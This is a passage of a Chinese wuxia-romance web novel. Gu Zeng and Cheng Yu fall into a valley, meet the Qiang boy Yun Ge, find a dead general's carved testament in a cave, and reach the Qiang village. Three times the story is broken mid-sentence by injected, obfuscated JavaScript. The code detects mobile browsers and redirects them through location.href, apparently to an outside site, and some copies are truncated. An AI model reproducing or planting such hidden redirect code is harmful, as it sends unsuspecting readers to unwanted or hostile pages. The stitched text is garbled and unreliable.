她怕吓着人家,特意还刀入鞘,尽力温柔道:“你是羌人?怎会落在楚人手中?” 少年依旧沉默。 她试着清了清嗓子,又柔和了一些:“别怕,我们是好人。” 少年动了动眼眉,淡淡道:“楚人,不好。昭人,不好。你,也不好。” 顾曾被他逗笑了,还未来得及说什么,程彧倒先急了:“你这无赖小儿,阿曾救了你,你难道不该谢谢她么?” 他简直是愈想愈气,心中嘟囔道:“阿曾她对我何曾这般温柔过,臭小子身在福中不知福!” 少年漠然与二人对视片刻,说道:“告辞。” “慢着!”顾曾伸手拦他,却只够到他半截衣角,那少年就似鬼魂一样,脚下踏过一阵风,绕过几株槐树之后便不见了踪影。 羌人定居在蝴蝶谷附近,定熟悉这里的地形,她本想问这里可有通往山下的出路,奈何这少年恁是防备,对她二人这等救命恩人也不多相与,也只得忿忿地吐出一口气。 眼下没有办法,还是得靠自己。 顾曾碰了碰程彧的手背:“继续带路罢,二公子。” 程彧听话地走在前面,心里犹在闹别扭。细想之下,顾曾她好像对所有人的态度都还算尚可,只有对他,像是天生的冤家路窄一样,回回相处都恨不得竖起一身的尖刺。 他小声嘀咕道:“真就那么讨厌我么……” “二公子碎碎念什么呢?”顾曾问道,“可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228028|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是发现出口了?” 出口出口就知道出口。他程容与就是个人形罗盘的作用。 “……”程彧叹了口气,“还没有,不过前头能看见点亮光了。你说,羌人会不会在这布什么陷阱以防……” 他话只说了半句,顾曾只听到“哎哟”一声惨叫,而后感到手腕一紧,整个人被他拽得直直向前扑去。 “程容与!你这个混蛋!!” 程彧的嘴可能是被乌鸦开过光,说“陷阱”陷阱就自己长腿跑了来。二人脚下的大石块“咔嚓”一声,四分五裂开来,随后脚下一空,无着无落地跌了下去。 手足无措、天旋地转,瓦砾成堆、荆棘密布。 可能是为了弥补自己的错,程彧几乎用尽了气力将顾曾整个人围了起来。反正他自觉皮糙肉厚不怕摔,不能连累被自己硬生生拽下来的顾曾也遭这无妄之灾。 顾曾的五脏六腑都快被颠飞,一切来得始无征兆,她正忙着拔腰间的佩刀,倏地就被程彧的双臂环住。 “你这个……”一句话还没骂出口,脑袋就被他一只温热的手护在了颈间。 离得太近了,甚至可以说是肌肤相贴,顾曾嗅到他满身清香,耳根竟骤然发烫起来。 幸亏这山坡不怎么高,转了几圈后,她仰面摔在地上,只有背脊和腿侧被草刺刮了几下,不痛不痒的,无甚大碍。 再睁开双眼,入目便是月悬高天,繁星万里,久违的神情气爽。 耳畔传来轰隆轰隆的巨响,她撇眼一看,发现二人已身在谷底,不远处有一条玉带般倾落的大瀑布,激起银浪流珠,洋洋洒洒落了满地。 不过眼下不是欣赏美景的时候——她还被人抱在怀里。 程二公子大抵是使不上什么力气了,整个人软塌塌伏在她身上,压得她有些喘不上气。顾曾心里暗骂:“看着挺清瘦一人,怎么这么……死沉死沉的!” 一股浓郁的血腥气涌上。 顾曾终于有些慌了,摇了摇他胳膊,试探道:“二公子,你受伤了?” “嗯……我在,别怕。”程彧沙哑回了她一句后,便没了动静。 “谁怕了……”顾曾没好气地白他一眼,探出手去,揪住路边一颗无辜的野草,想把自己从他身下抽出。 她不过挪动了半分,程彧似是被惊醒般,猛地嘶了一声,昏昏沉沉嘟哝道:“阿曾,别动。” 腥气更重了,排山倒海般扑面而来,顾曾急得汗流浃背:“程容与!” 程彧没应声,在他的刻意控制下,沉重的呼吸声终于逐渐趋于平缓,半晌后,他艰难地撑起身子,混着血的汗珠沿着他白净的脸流下,宛若清水上落了几滴朱砂,顷刻糊成一团。 他咳了两下,笑道:“唉,真是可惜了,小爷我英雄救美这么潇洒的场面也没旁人瞧见,以后想放到话本里怕是都没人信。” 顾曾瞪他一眼:“英雄救美?难道不是你一个失足拉着我来给你当肉垫吗?” 程彧讪讪笑了几声:“你是英雄我是美,这样行不行?” 被树枝刮坏的衣衫下透出了他微微起伏的胸膛,月光下,他肌肤莹润,筋骨清晰可见,顾曾登时面红耳赤地别开眼:“没事就好,还不快让开!” “好……”程彧淡淡一笑,人正要动,神色倏地一变,匆忙将头歪向一侧,几乎是贴在顾曾的耳畔“噗”的涌出了一大口血。 鲜红的血溅了几滴在她脸颊上,顾曾心里骤然一紧,正要上手帮忙,程彧已然站起身来,用手背拭了拭嘴角的血沫,带出一团氤氲的嫣红,对她咧嘴笑笑:“放心,小爷没事,快起来,走啦。” 15.云戈 “站住。”顾曾起身,借着稀疏的天光,只见他后背割出了一条老长的伤口,血从里面透出,染得他墨蓝外袍一团漆黑。 程彧手扶着腿,弯腰又咳了几声,笑道:“怎么?想要打我一顿出气?” 顾曾不语,上前一个燕子抄水,将他面朝下放倒在自己腿上,接着从怀中掏出瓶军中常备的治伤药,辛辣的粉末胡乱倒了一手,一大把盖到了程彧的后背伤口处,压声道:“有伤不治是找死,别乱动。” 程彧虽然不拘绳墨,但适才也是情急之下才对她动手动脚,如今整个人如婴孩一般趴在她腿上,受宠若惊到想当场找地缝钻进去。 不过他这不知所措也没持续多久,伤口处便传来一阵万虫啃噬般的剧痛。 “阿曾……”他疼得想要满地打滚却又不敢,只捏紧了拳头,死死咬住下唇,额上冷汗频出,“这真不是什么毒药罢?” 好在药效来得快,不一会,他的后背由火辣辣的疼转成一股温热,只觉泰然又舒坦。 顾曾预计差不多了,冷声道:“起来罢?” 程彧咳了一声,煞有其事道:“阿曾你好狠的心,我现在疼得厉害,你再容我些时间缓缓可好?” 顾曾冷哼一声,没再催他。 程二公子悄悄抬眼,看着满天的星云流转,心中暗喜道:“她对我也不算太差嘛。” 赶在顾曾发现他在装疼之前,程彧主动爬起,对一脸嫌弃的顾将军好生一番感谢。 二人慢慢朝那条瀑布走去,谷底水汽大盛,两侧的石壁光润如玉,透如琉璃,月光洒在其上犹如镀了层白霜。 瀑布底端有一若隐若现的洞口,旁边没有镌刻,也没有石碑,分不清是桃源还是陷阱。 顾曾忧心忡忡看了眼程彧,他虽佯装无事,但那伤口不可小觑,教他跟自己再爬回山上恐怕会要他的命,如此一来,管这山洞是龙潭还是虎穴,也须得闯一闯了。 她握紧刀,对程彧使了个眼神:“走我后面。” 正要踏入那洞口,身后骤然响起个人声:“别进。” 她心中大惊,分明还没听清对方说了什么,已下意识地啸出武器,横刀于空中一声清亮的嗡鸣,稳稳落在了来人胸口。 “是你。”顾曾看清了来人,原是他们不久前救下的那羌族少年。 少年又木讷地重复了一遍:“危险,别进。” 顾曾还刀入鞘,问道:“里面有什么?”蛇虫鼠蚁类的毒物?还是藏着楚人的窝点? 少年:“我家。” “……”顾曾稍许沉吟,问道,“你是说……羌寨?” “嗯。”少年颔首,黑亮的眸子如曜石般幽深,“昭人,不喜欢,会杀掉。” 顾曾想到在来云雾山的路上碰到的那批羌人,的确凶残嗜血,对安宁军丝毫不手下留情,她带着个半残的程彧,两个人进去是送死。 但又转念一想,羌人既然可以到安宁军的地盘,就证明这羌寨并不是个全然封闭的秘境,和外界至少是连通的,若能找到羌人下山的小径,那扶苍军便有救了。 况且,他们现在没有别的选择,只有眼下只有这一条路可走。 顾曾不死心,问道:“这里可有其它出口?” 少年像个木偶般缓缓摇头:“问长老。” 顾曾恍然大悟:“所以你也想离开这里,但是寻不到出路,才会被那些楚人擒住,他们抓你也是为了出去?” “对。”少年不带一丝感情地答道,“东边,不许,这里,没人。” 他说话颠三倒四又不连续,顾曾思忖许久,问道:“你们长老对你不好么?为何想出去?” 少年罕见地犹豫了一瞬,应道:“长老,好。出去,寻姐姐。” “原来是为了找姐姐,”顾曾心说,“这孩子倒重情重义。” 程彧冷不丁插话道:“这世间纷纷扰扰,坏人的心眼子多得很,你语言不通,身手也不怎么样,如何寻得到你姐姐?” 少年不语,只略显悲愤地垂下头,将拳头捏得死死的,从指关节处透出全身仅有的一丝血色。 顾曾反手给了程彧一下:“不会说话就闭嘴。” 程彧冲她眨眨眼,又道:“你姐姐叫什么名字?有何容貌特征?待小爷我回京,定替你仔细寻她。” 少年的眼神亮了一瞬,又即刻黯了下去:“你,坏人。” “?”程彧气得“嘶”了一声,嘴角险些耷拉到下巴上。 昭人不是好人,楚人不是好人,顾曾不是好人,到他这,直接变成坏人了?顽劣稚子! 顾曾一个没忍住笑出了声:“小兄弟慧眼如炬。” “阿曾你!”程彧两眼一掀,差点背过气去,“行行行,小爷我不管了。” 那少年将视线从气急败坏的二公子身上移开,落在憋笑的顾曾身上,认真道:“姐姐,迦若墨月,容貌,像我。” 程彧气定神闲冷笑一声:“原来你还会四个字四个字往外蹦。” 顾曾却笑不出来,浑身宛如被一道晴天霹雳砸过,目瞪口呆道:“你是……迦若将军的儿子,云戈?!” 少年“咦”了一声:“你,认识?” 顾曾又惊又喜地轻声一笑,心道:“何止是认识,你满月的时候我还抱过你呢。” 她不由得细细打量起这名为云戈的少年,有些感慨,那五大三粗像个活张飞一样的迦若将军竟能生出这般秀气的儿子,他娘亲该是个怎样的大美人。 她没见过云戈的母亲,在那征战频繁的几年,身为七大将军之一的迦若将军带领羌人,与安宁军一起横扫西南战场,云戈的母亲在后方呕心沥血,身体承受不住,生下云戈没几天便撒手人寰。 据说,迦若将军只来得及回来在爱妻墓前上了几炷香,连泪都没来得及流,便又匆匆奔赴了前线,再未归家。 两年后,待他葬身沙场,才得以魂归故里。 按照羌人的习俗,即使云戈这孩子没爹没娘,外族人也是没权力照看的,顾曾也只见过他那一面。想不到多年过去,世事变迁,昭羌早已再次反目成仇,她却在此处得遇故人。 云戈的姐姐墨月比顾曾还长个几岁,从小便是个不爱说话、痴迷古籍的娴静姑娘,竟然孤身一人走出了这蝴蝶谷羌寨? 顾曾抚平不宁的心绪,没接云戈的问题,只说:“墨月,长得像你,我记住了,定会尽力帮你寻她。” 云戈露出一个极浅的笑容:“谢谢,姐姐。” 程彧看得出顾曾心里在意得紧,说道:“阿曾,你放心,我也会在京城留意此人。” “多谢二公子。”顾曾对他微微欠身,“云戈,带我去见见你们长老。” 云戈摇头:“不行,会死。” 顾曾重重呼出一口气,看着眼前这懵懂的少年,又想起离家出走的墨月,一时悲愤交加,心道:“若非他们两个在这里过得不开心,又为何要千方百计出去?云戈这孩子,更是连中原话都说不利落。他爹爹一心想要维护羌族与大昭的和平,若见到自己儿子终此一生受困于此,又该作何感受?” 迦若将军是顾曾她爹的手下、好兄弟,也是她眼中的好叔叔、大英雄。上将军可以不做,功名利禄皆可不要,但是故人之子,必须管!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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顾曾深知,若非自己打小就在血雨腥风中长大,怕是现在不会比他好过。何况程彧刚敷了药,身子是麻的,所听所感会远比平时敏锐,她理应多关照他些。 “别怕,闭眼。”她难得柔和地牵起他的手,领着他缓缓向前。 二人一步一挪走过尸林,已出了一身薄汗。 顾曾微微舒了口气,松开手:“好了,可以睁开……等等!” 但为时已晚,程彧睁开眼,正对上眼前三尺处一个死不瞑目的大哥。那位仁兄的半张脸已然烂掉,一团蛆虫正在欢快地啃噬他的眼球。 程彧淡定地扯了扯唇角,将头靠回了顾曾肩上。 顾曾环住他的腰,半是安抚半是欣慰:“还好还好,二公子胆识过人。” “那当……”程彧在她肩头点了点头,然后,吐了。 吐了她满怀。 “……”这种时候,顾曾反倒释然了,干脆心一横,拔出刀便冲着前方一顿胡乱劈砍,二十几刀下去,满顶的人影被她大卸八块清了个干净。 她又忙活半天,从死人堆里清了条路出来,终于抖掉满身污血,扬声笑了笑:“还怕么?” 程彧一愣:“什、什么?” 顾曾无奈瞧他一眼:“现在头顶都干净了,二公子该不害怕了罢?” 她既没怨他,也没嫌他,还反倒这般照顾他。 程彧出神了许久,穿过她开辟的那条路走到她面前,失心疯了般,抬手把她鼻尖上的一粒混着血的汗珠抹去,呢喃道:“嗯,不怕了。” 顾曾冲他笑笑,扬了扬眉梢:“那继续走罢?” 16.壁画 洞窟愈往深处,甬道便愈发开阔,山壁间隐隐可闻回声。 二人看见前方火光,当下三步并两步,来到了个透着天光的石洞中。这洞窟极大,与寻常大户人家的宅子不相上下,而且四通八达,有数个出口,走错一个怕是要彻底陷入鬼打墙。 难怪云戈方才让他们跟紧了,原来是怕他们迷路。 可顾曾在洞中寻觅了一大圈,也没找到他的人影,准确地说,是半个人影都没看见。 程彧忽然扬声道:“阿曾,看那里。” 顾曾顺着他手指的方向望去,只见高逾十丈的光滑石壁上端有霜白的月光不偏不倚地垂下,落于其上,映出石壁上形形色色的五彩壁画。 这些壁画以白作底,赭红、玄青、赤金等多种岩彩交汇,线条遒劲又粗犷,毫不吝惜地布满四周。壁上所绘大多为巫神,祂们有的振翅而风动,有的可挥臂引雷电,有的可喷雾而化雨,极尽奇能百态。 南侧石壁最特别,其上绘了一位展袖而御、姿态如风的白衣少年。他的样貌不甚清晰,只可隐约看出他眉目清秀,神色英武。 少年于花下舞剑,豪气干云,似要一剑刺破天穹。 程彧似是而非轻笑了两声:“什么牛鬼蛇神也好意思出来骗人,小爷我最不信的就是菩萨保佑。” 他没什么兴致,只随意打量着这些石壁,手指时不时还要上去摩挲两下,顾曾见了,不免斥他道:“程容与,你尊重一下巫族文化好不好,这可是传承了几百年的壁画!” 程彧却像没听见似的,反而搓得越来越起劲,大喊道:“阿阿阿阿阿阿曾!你快过来!!” 顾曾以为壁画上有谜题,正在尝试寻找出路,听到程彧的喊声还以为他被什么毒虫咬了,赶忙跑来,却见程彧脸色铁青,嗓音发颤地指着一处:“墙上刻的有字。” 顾曾伸手一摸,果然不假!登时起了一层细密的冷汗。 “这些笔迹都断断续续的。”程彧面若寒霜,勉力辨着字,念道,“四十五天,好饿……小兰,娘,我想家了……只有不到一百个兄弟了,援军……将军……吴阳绝笔。” 顾曾骤然脸色煞白,回过神来时发觉自己浑身都在微微颤栗,轻声道:“吴阳……是已故上将军傅昙的贴身护卫。” 在她印象中,这位吴阳叔叔性格极好,整天就知咧着嘴傻笑,顿顿能吃三碗饭,被她爹罚了还能笑呵呵地带她去买糖葫芦。 她心中早就明白,也已接受了这个事实——很多故人都不在了。 可她一直以为他们埋骨在青山绿水间,幕天席地,与雪原苍松为伴,却从未料到,原来这只有一隅之光的石室,才是故人们最终的归宿。 程彧面色僵硬,嘴唇开了又合地停了好一会,才说道:“这里定还有别人的笔迹,阿曾你还要继续看么?” 顾曾的神色倒不见太大波动,只缓缓颔首,一扇画一扇画地寻觅过去。 墙上的刻痕并不多,大部分杂乱无章,有的来自籍籍无名的士兵,也有的来自像吴阳这样有名有姓的人物,从家长里短的胡言乱语,到胡乱刻画的临终遗言。 两人最终站到了最大的那幅公子舞剑图面前,程彧恍然一怔,说道:“阿曾,你觉不觉得这画有点怪?” 顾曾应声道:“不错,旁的壁画都是与巫族祭祀有关的东西,只有这幅,所绘倒更像是我大昭的少年儿郎。” 眼看她抬手就要触碰到那壁画,身后不远处突然响起了几下脚步声,云戈急道:“不能动。” 程彧连连冷笑,从齿缝里挤出一句:“臭小子,还知道回来接我们?” 云戈挡在顾曾和壁画之间,神情惶恐不安:“长老,不许。” 程彧冷冷道:“那长老又算个什么东西?若是不许,叫他自己来劝小爷,人没见到,规矩倒是不少。” 顾曾询问道:“这幅壁画可是你们长老所作?” 云戈摇了摇头:“姐姐。” 迦若墨月这人从小便有主见,跟旁人都不同,这画出自她手倒不稀奇。 顾曾叹了口气:“云戈,你知道么,你爹当年也是个征战四方的将军,这墙上的东西也很有可能与他有关,你不好奇么?不想知道当年发生了什么吗?” 云戈垂下眼眸,仍然只是那句:“长老,不许。”但气势已然弱了许多。 程彧将手搭在他头上,像郭翩揉自己那样揉了他两下,说道:“你们这就从来没人来这儿偷看过么?小爷我不信。” 云戈避开他的魔爪,摇头道:“大家,不识字。” 顾曾与程彧互觑一眼,心有灵犀地想:“这长老绝对不是什么好东西!” 程彧嘿嘿笑了两声,说道:“小孩儿,万一这上面有你姐姐留下的线索呢?要是就这么错过,你可能一辈子都要找不到她啦。阿曾,我们走,依我看,他对他姐姐的事情也不怎么上心,你也别费那力气去见他们长老给他求情啦。” 他拉起顾曾的袖子便往来时的方向走,走了三步,云戈没反应,走了十步,云戈才终于慌了:“等等。” 程彧心中得意道:“小样儿,还治不了你么?” 云戈望向顾曾:“姐姐,可以。”又望向程彧,“坏人,不可以。” “……”程彧忿忿道,“小爷我还不想看呢。” 得了他首肯,顾曾遂上前,将掌心贴在冰冷的石壁上,即刻便摸到了一大片刻字。这些刻痕大小相同,深浅一致,其主人想必腕力不浅。 她探出手指,落在了第一个字上——那是个清隽的“昭”字。 她指尖一行行划过,口中跟着念道:“昭毅右将军萧仕临亲记:初临此巫寨,不见古乱葬岗之诡,但见山清水秀,大道坦平,实乃兵家必夺之地。傅公见此新景,不胜欢欣,取名‘蝴蝶’,寓之破茧。 …… 傅公携全军于蝴蝶谷中修整,余领兵意外寻得南楚主力,蛮番亦有几万余人蛰居澜关。凛冬将至,傅公命速战速决,奈何粮草断绝,千车辎重杳无音讯,军心不稳,常有败仗,澜关久攻不下。 …… 傅公向左将军王晟求援,援军三月未至。余率军突围,撤退之路竟被吐蕃拦堵,王晟狗贼怕是降了。 …… 大败。 …… 大败。 …… 大败。 …… 战,永不降。 …… 这方堪舆竟是巫族,居心叵测诱骗我等入这古阵。傅公中瘴气之毒,昏迷不醒,怕是命不久矣。然少将军尚且年幼,傅公若卒于此地,少将军又该如何自处? …… 此阵诡异,吾等无奈,只得以身试错,幸甚幸甚,吾大昭将士从不惧死。 …… 生路终现,赵晨崔辞二位将军护主先出,余与吴阳将军殿后。傅公虽出,余与吴兄怕是再难见天日。 …… 我军只余三千人,敌军妄言大昭已将此地割让,实乃无稽之谈。 …… 援军何在? …… 援军何在? …… 援军……可叹,我大昭万里江山,必将毁于狼子野心之辈手中。余与吴兄痛心疾首,只望傅公安好,少将军承傅公之志,愿吾儿萧淩心系河山、来日收复故土。 …… 家乡临安今所似?汀花细雨暖风闲。” …… 风循着洞口呜呜然地吹来,犹如一把以天地为躯的古箫,催人断肠。 顾曾叹了口气,神色平静得出奇:“原来是萧将军的绝笔,原来当年……还发生过这样的事情。” 照理说,她比任何人都该悲愤交加,可大概是经历 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15243873|165471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了类似的事情太多次,或亲历、或见证、或有所耳闻,她已经麻木至全盘接受,似乎本应如此,似乎上一辈那些威名赫赫的将军就该有这样的结局,无人能免于此难。 十三年前,察罕发起了一场旷日持久的大战,战火始于北境,烧到西境,又屠戮了西南,大昭几乎被所有的邻国同时围攻。 上将军傅昙与麾下右将军萧仕临亲征西南……萧将军埋骨于此。 左将军王晟支援西北的先宸王姜冕……姜冕战死,留下他年仅十岁的独子姜旬。 羌族的迦若将军与彼时还没成为安宁侯的郭将军合征南境蛮夷……迦若战死。 只有渭城保住了。 渭城是如何保住的呢?是从蝴蝶谷勉力逃出的傅昙领着手下最后一批人,射空了所有的箭矢,砍得冷铁卷了刃,杀得几乎全军覆没,才赢得此战。 此一战,吃空了整个大昭的国库,牺牲了几十万将士。 继位不足三年就差点做了亡国之君的乾安帝战后派人犒军,第一句话便是问傅昙:“傅公,夜来安寝否?少将军之体尚健否?” 傅昙笑笑:“内忧外患,怎敢安寝?此身无颜面圣,但求以死谢罪,惟愿小女无隅一生平安。” 随后,这位话本里天纵奇才的傅昙上将军于隆冬雪地中拔剑自刎,而他六岁的女儿就缩在一颗枯树后面,大气也不敢出一声地看着。 那天下了鹅毛大雪,很快就覆盖了地上那摊新鲜的无名血,无人在意过。 萧仕临的绝笔对于云戈这没读过书的少年还是过于困难,他有一大半都没听懂,只关切道:“姐姐?父亲?” “是你父亲的旧时好友,”顾曾道,“或许你该称他一声‘伯父’。” 云戈眼睛一亮:“伯父,这里?” 顾曾淡淡笑了笑:“嗯,他可能就在我们脚下罢。” 她猛然意识到,来时路上看到的那些腐尸其中……会不会就有往日故人? “阿曾,你别乱想。”程彧见她怔怔出神,说道,“十几年过去了,他们若是还在这里,也早就……成一具枯骨了。” “我,没用。”云戈无措地攥着衣角,也不知脑中是否想起了别的什么往事,脚底止不住地摩挲,似是将气都撒到了脚下的碎石块上,用力地想将它们碾成齑粉。 顾曾眼角蓦然一抽动:“你何故之有?” 云戈这孩子当年连话都不会说,谁死谁活的,与他何干?真正辜负了亡魂期待的,明明是他们那个名不副实的少将军——是那化名为“顾曾”的傅无隅。 “小孩儿,”一片缄默中,程彧突然上前拍了拍云戈的肩,笑意张扬,“作为兄长,小爷我教你点人生道理,是我在像你这么大年纪时我哥教给我的,要不要听?” 难得的,云戈没反口呛他。 程彧遂朗声道:“庄子曾言,‘故善吾生者,乃所以善吾死也’ [1]……” 云戈直摇头:“不懂。” 程彧扶着他的肩,望进他的眼中,正色道:“简单来说,就是你墙上写字的这位萧伯父,抑或是你爹、你娘亲,他们怎么死的、如何死的……都是他们自己的选择,与你无关。他们已然安息,既不是你的错,便不必再细想去折磨自己。” 云戈似懂非懂地点了点头,怔怔道:“好,不想。” “这才对。”程彧不太正经地轻笑着,负手踱步到那少年舞剑图下,似那画中人一般,衣袂翻飞,满室飘扬。 “有道是‘至人无己,神人无功,圣人无名’ [2],万事么,不必逼着自己强求,顺其自然即可。” 他眸中波澜不惊地望来,说不准到底是在看谁,后几不可闻说了句:“人生在世,恍如石中之火,白驹过隙,何苦找些那么沉重的担子扛在自己身上?我在一旁看着都觉得累。” 顾曾的眼睛在那一刹倏地红了。 17.洞窟 “姐姐,”云戈关切望来,“哭了?” 顾曾立即旋过身去,她何止是“哭了”,此刻的她简直是泪如雨下,偏偏她又说不上来自己为何要哭,只觉压制在心底许久的七情六欲仿佛寻到了一扇逃出生天的大门,就奔着那亮光汹涌地喷薄而出,她再也克制不住。 见她躲着自己,云戈只好不情愿地扯了扯程彧的袖子,重复道:“姐姐,哭了。” 程彧恍若未闻,只眯着眼上下打量着壁画,啧啧道:“丹青妙笔,大家,绝对是大家!” 云戈又急又气,雪白的脸上透出一丝愠怒带来的血色,大声道:“坏人!姐……唔……” 程彧扬起胳膊,勾肩搭背似地别过他那瘦削的小身板,一把搂住他的嘴,口中嬉笑道:“小孩儿,你会不会蹴鞠?” 他不怎么干净的掌心在云戈白净的脸上抹来抹去,给他印上了一团凌乱的手印。 云戈长在羌寨,别说会不会了,连“蹴鞠”这两个字都没听说过。他心智仍如稚子,叫程彧这一逗,立刻便分了心神,不解道:“是什么?” “一个好玩的东西,”程彧露出一个得逞的坏笑,压在他耳畔悄声道,“小爷我称霸京城,等带你出去,我教你。” 云戈略显迟疑看了他一眼,似乎不怎么相信他的话。于他而言,大概没有什么比在野林子里乱窜更好玩的了。 当下寂然无声,程彧趁机偷瞄了眼顾曾,见她已然止了眼泪,只是眼眶一周仍是红的,似乎犹在抚平心绪,便继续大言不惭地扯淡:“京城里有个靖安阁,还有个皇帝,皇帝你知道罢?” 云戈摇头。 就是话本里动不动就要砍人脑袋的那位。”程彧解释道,“他一过节就喜欢在靖安阁兴办各种比赛,那些个世家子们都争着抢着要在这种时候出风头,你可知为何?” 云戈又摇头。 “哎呀,笨。”程彧轻轻弹他个脑瓜崩,又忽然意识到他许是还没到年纪,咳了两声掩饰道,“因为会有姑娘们来看呀,兴许就相中了哪家世子又或是看重了哪家的官大……咳咳,总之,为了结亲。” 云戈话不多,但很会抓重点:“‘结亲’?你也是?” 程彧猛地被他噎了这一口,滞了一滞,朗声道:“这不重要!总之,不论是蹴鞠,还是打马毬,小爷我在全京城一骑绝尘、无人可以匹敌。我这手出神入化的功夫,以后就传给你,我也算是咳咳,后继有人了。” “我,结亲?”云戈刚学会一个新词,正用得不亦乐乎。 “都说了不是了!”程彧抓耳挠腮,脸涨得彤红,“你这逆徒,怎得一天到晚就想这些?还想不想学师父我的绝技了?你若再如此本心放荡,师父我便不传你艺了。” 云戈“噢”了一声,似乎在说,本来他也没想学。 程彧抬了抬眉,正欲开口,肩上突然一紧,顾曾在他身后笑道:“二公子风流蕴藉,京城定有不少姑娘对你倾心已久罢?” “那是自然。”程彧想都没想,张口便答,“每年上巳和七夕,朝我丢鲜花和手帕的小娘子那可是……” 他话头生生止住,回头浅浅一笑,已在心里扇了自己几个大耳光:“阿曾你怎么偷听……” “怕你带坏小孩儿。”顾曾知道的关于程二公子名动京城的故事说不准比程彧本人知道的还多,听到这些也不为所动。 她掀了掀眼皮,把饱受摧残的云戈从他怀里拉出来: “走罢,找你们长老去。” 云戈如获大释地点点头,正要迈腿,顾曾猛地喝道:“慢慢走,不许跑。” “噢。”云戈一下便蔫了,垂头丧气地走到二人身侧。 他带着二人从一间隐蔽的洞口钻出,在蛛网般密布的洞窟中左拐右绕,没过一会,顾曾这个昔日的堪舆师就被绕晕了方向。 这些洞隐埋在整座山峦之下,几人先前来到的那间大石室不过是角落里的九牛一毛。它们大小不一,但长得几乎全然一致,从洞口望入,每间都能看到不少布满灰尘与蛛丝的枯骨,想来是十二年前被困于此的大昭士兵。 最先路过这些洞口时,顾曾还合十拜了拜,但到后来,这样的山洞实在是太多,拜也拜不过来,便只好专心跟着云戈走迷宫。 直到抵不住倦意,三人才寻了处还算宽敞的甬道凑合了一夜。 醒来后,顾曾询问云戈还有多远,云戈稍加思忖,比出两根手指。 程彧松了口气:“还好还好,只剩两成了。” 顾曾看云戈满脸疑云,弱弱试探了句:“你不会想说,只走了两成罢?” 云戈点点头,程二公子差点当场背过气去。 三人不见日月地赶路,不知疲倦,但前路仿佛茫茫无尽,永远都走不完。就当顾曾觉得要困死在这里时,脚下的羊肠小道陡然转过一个急弯,前方倏地亮起了一道天光。 她只觉这辈子都没见过这般绚丽夺目的……白光。 那亮光是从一个小孔射入的,云戈透过那小孔朝外看了看,确认四下无人,便用力推动石壁,吱呀一声,石壁上露出一扇狭窄的石门,昏暗的小径霎时天光大明。 眼前便是这万窟之山的出口。 顾曾回头望去,方才走过的这条阒静幽深的小道无尽延伸至黑暗中,无声无息仿佛能吞噬掉一切,又看了看云戈,不由得心道:“这孩子天资聪颖,胆识过人,竟能记清一路走来这几千条岔口,假以时日,必是大才。” 她花了许久才适应这刺目的白昼,稍许偏头揉了揉眼角,睁眼正看到一缕晨曦落在程彧脸上。他神色疲惫,面上柔情却不减,唇角挂着一丝淡淡的笑,眼中明亮如摘了把星子。 折腾了这么久,此人居然还能如此超凡脱俗。 顾曾偷偷耸了耸眉梢,心道:“二公子人不靠谱,模样倒是挺令人信服的。” 整个羌寨山环水抱,树木参天,松影入湖,雾云伸手可触,俨然一座隐于西南大山中的世外桃源。 此处屋舍林立,皆是些错落有致的平顶,每家每户的房顶上都放着白英石,似乎是为了侍奉五神君。户外大门左侧大都立了个石敢当,神情或肃穆或扭曲到惹人发笑。 远处雪山山脚下的几缕青烟透过晨雾,袅袅而升,几幢古铜色的碉楼更是灼人眼球,它们依山而建,高者竟有十余丈,想来是作为战备防御之用。 程彧长长吸了一大口清新的雾气,笑道:“你们羌人当真会挑地方,这里山清水秀,望之即忘忧。” 云戈不领情,用力扯了扯他衣角:“坏人,嘘。” 程彧嘴角僵了僵:这孩子有完没完了?认识了这么久,怎么他还是坏人? 他顺着云戈手指方向望去,不远处有几户飘着炊烟的人家,清晨时分,想是主人已起床用膳。 三人为了不惊动其余人,便由云戈带路,自一片竹林后方悄悄穿行,期间果然见到不少全副武装巡逻的羌族士兵。 顾曾心里一惊,这羌寨如此偏僻,又并非在与外族作战,羌人却仍时时刻刻如临大敌,光这骁勇之气就强过大昭正规的安宁军不知多少倍。西南之乱,如今看来实则是无可避免的,只是早乱晚乱的事罢了。 云戈终于带着二人绕到一间简陋的竹屋旁,松了口气:“家,到了。” 此处幽篁溪鸣,竹屋立于溪水畔,门口的石桌上堆着三两杯盏。石桌的一侧仰躺着一个白发老妪,不声不响的,已然双目迷离,醉态尽显。 程彧轻笑一声:“这老夫人好自在,一大早就醉得这么不省人事,真羡煞旁人。” 云戈眼中浮出不悦,轻巧地跃到老者身旁,摇晃着她的胳膊唤了两声。老妪摆了摆手,口中混骂了一句不知什么,连眼都没屑于睁开。 云戈叹了口气,拿起石桌上一个巴掌大的长身青瓷瓶,打开了瓶口。 一条黑亮的小蛇随即探出,蜿蜒地爬上了老者的手背,待找准穴位后,猛地张开了口,露出两颗尖利雪亮的獠牙。 程彧“嘶”了一声,赶紧别 